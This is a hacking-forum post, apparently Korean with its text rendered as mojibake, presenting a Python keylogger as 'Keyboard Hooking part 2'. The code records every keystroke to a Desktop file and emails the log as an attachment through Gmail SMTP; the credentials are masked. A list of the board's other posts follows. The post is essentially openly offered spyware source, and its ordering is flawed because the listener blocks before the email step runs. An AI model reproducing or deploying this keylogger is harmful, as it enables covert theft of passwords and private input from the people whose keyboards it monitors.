1601, 1/81 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   ÇØÅ·ÀßÇÏ°í½Í´Ù
   http://¾øÀ½
   Keyboard Hooking -part2 - (Python3 ver)

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=8585 [º¹»ç]


import os
import smtplib
import time
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard

# ¹ÙÅÁÈ­¸é °æ·Î ¼³Á¤
desktop_path = os.path.join(os.path.expanduser("~"), "Desktop", "Å°º¸µå_ÇØÅ·.txt")

# Å° ÀÔ·ÂÀ» ÆÄÀÏ¿¡ ±â·ÏÇÏ´Â ÇÔ¼ö
def on_press(key):
    try:
        with open(desktop_path, "a") as file:
            file.write(f"{key.char}")  # ÀÏ¹Ý Å°´Â ±×´ë·Î ÀúÀå
    except AttributeError:
        with open(desktop_path, "a") as file:
            file.write(f"[{key}]")  # Ư¼ö Å°´Â ´ë°ýÈ£·Î ¹­¾î ÀúÀå

# Å°º¸µå ¸®½º³Ê ¼³Á¤
def start_keylogger():
    with keyboard.Listener(on_press=on_press) as listener:
        listener.join()

# À̸ÞÀÏ Àü¼Û ÇÔ¼ö
def send_email():
    sender_email = "????????????????????????"  # ¹ß½ÅÀÚ À̸ÞÀÏ
    receiver_email = "???????????????????????"  # ¼ö½ÅÀÚ À̸ÞÀÏ
    password = "??????????????????????????"

    # À̸ÞÀÏ ¸Þ½ÃÁö ±¸¼º
    message = MIMEMultipart()
    message["From"] = sender_email
    message["To"] = receiver_email
    message["Subject"] = "Å°º¸µå ·Î±× ÆÄÀÏ"

    # ÆÄÀÏ Ã·ºÎ
    with open(desktop_path, "rb") as file:
        part = MIMEBase("application", "octet-stream")
        part.set_payload(file.read())
        encoders.encode_base64(part)
        part.add_header("Content-Disposition", f"attachment; filename= Å°º¸µå_ÇØÅ·.txt")
        message.attach(part)

    # Gmail SMTP ¼­¹ö¸¦ ÅëÇØ À̸ÞÀÏ Àü¼Û
    try:
        with smtplib.SMTP("smtp.gmail.com", 587) as server:
            server.starttls()  # TLS º¸¾È ¿¬°á
            server.login(sender_email, password)
            server.sendmail(sender_email, receiver_email, message.as_string())
        print("À̸ÞÀÏ Àü¼Û ¼º°ø")
    except Exception as e:
        print(f"À̸ÞÀÏ Àü¼Û ½ÇÆÐ: {e}")

# Å°·Î±ëÀ» ½ÃÀÛÇÏ°í, ÀÏÁ¤ ½Ã°£ ÈÄ À̸ÞÀÏ Àü¼Û
if __name__ == "__main__":
    try:
        # Å°º¸µå ÀÔ·Â ±â·Ï ½ÃÀÛ
        start_keylogger()
        
        # ÀÏÁ¤ ½Ã°£ ÈÄ À̸ÞÀÏ Àü¼Û (¿¹: 10ÃÊ ÈÄ)
        time.sleep(10)
        send_email()
    except Exception as e:
        print(f"¿À·ù ¹ß»ý: {e}")

  Hit : 211     Date : 2024/11/20 04:41



    
     [°øÁö] °­Á¸¦ ¿Ã¸®½Ç ¶§´Â ¸»¸Ó¸®¸¦ ´Þ¾ÆÁÖ¼¼¿ä^¤Ñ^ [29] ¸Û¸Û 02/27 19542
1600   °£´ÜÇÑ ½Ã½ºÅÛ ÄÝ ÃßÀû ÇÁ·Î±×·¥ ¸¸µé±â     ÇØÅ·ÀßÇÏ°í½Í´Ù
01/18 5
1599   [overthewire.org] - leviathan1     ÇØÅ·ÀßÇÏ°í½Í´Ù
01/14 47
1598   [overthewire.org] - leviathan0     ÇØÅ·ÀßÇÏ°í½Í´Ù
01/14 25
1597   [Write Up] Crypto Cat's CTF 2024 - BabyFlow     ÇØÅ·ÀßÇÏ°í½Í´Ù
12/29 107
1596   [pwnable.kr] bof     ÇØÅ·ÀßÇÏ°í½Í´Ù
12/25 98
1595   [pwnable.kr] Shellshock[1]     ÇØÅ·ÀßÇÏ°í½Í´Ù
11/23 237
1594   ShellshockÀÇ ±âº» ¿ä¾à     ÇØÅ·ÀßÇÏ°í½Í´Ù
11/23 204
1593   [pwnable.kr] fd     ÇØÅ·ÀßÇÏ°í½Í´Ù
11/23 193
1592   VPNÀÌ ¿¬°áµÇ¾ú´Ù°¡ µµÁß¿¡ ²¨µµ À¥ ºê¶ó¿ìÀú»ó¿¡¼­ À¯ÁöµÇ´Â ÀÌÀ¯     ÇØÅ·ÀßÇÏ°í½Í´Ù
11/22 194
1591   ÇØÄ¿µéÀÌ ÇØÅ·½Ã »ç¿ëÇÏ´Â µð·ºÅ丮 °ø°£[1]     ÇØÅ·ÀßÇÏ°í½Í´Ù
11/22 236
  Keyboard Hooking -part2 - (Python3 ver)     ÇØÅ·ÀßÇÏ°í½Í´Ù
11/20 210
1589   [Windows API] Keyboard Hooking     ÇØÅ·ÀßÇÏ°í½Í´Ù
11/20 194
1588   [pwnable.kr] cmd1 °ø·«     ÇØÅ·ÀßÇÏ°í½Í´Ù
10/23 369
1587   netdiscover ÆÄÀ̽ãÀ¸·Î ±¸ÇöÇϱ⠠   ÇØÅ·ÀßÇÏ°í½Í´Ù
08/13 642
1586   ÆÄÀ̽ãÀ» ÀÌ¿ëÇÑ ½ÉÇà À¥ Å©·Ñ·¯     ÇØÅ·ÀßÇÏ°í½Í´Ù
08/13 520
1585   ÆÄÀ̽ã random¸ðµâÀ» ÀÌ¿ëÇÑ ¼ýÀÚ¸ÂÃ߱⠰ÔÀÓ ±¸Çö     ÇØÅ·ÀßÇÏ°í½Í´Ù
05/30 1071
1584   ÆÄÀ̽ã äÆà ÇÁ·Î±×·¥ ±¸Çö     ÇØÅ·ÀßÇÏ°í½Í´Ù
05/28 975
1583   ÆÄÀ̽㠼ÒÄÏ ÇÁ·Î±×·¡¹ÖÀÇ ±âÃÊ     ÇØÅ·ÀßÇÏ°í½Í´Ù
05/26 1124
1582   ¸®´ª½º À¥ ·Î±× ºÐ¼®     ÇØÅ·ÀßÇÏ°í½Í´Ù
05/20 745
1 [2][3][4][5][6][7][8][9][10]..[81]

Copyright 1999-2025 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org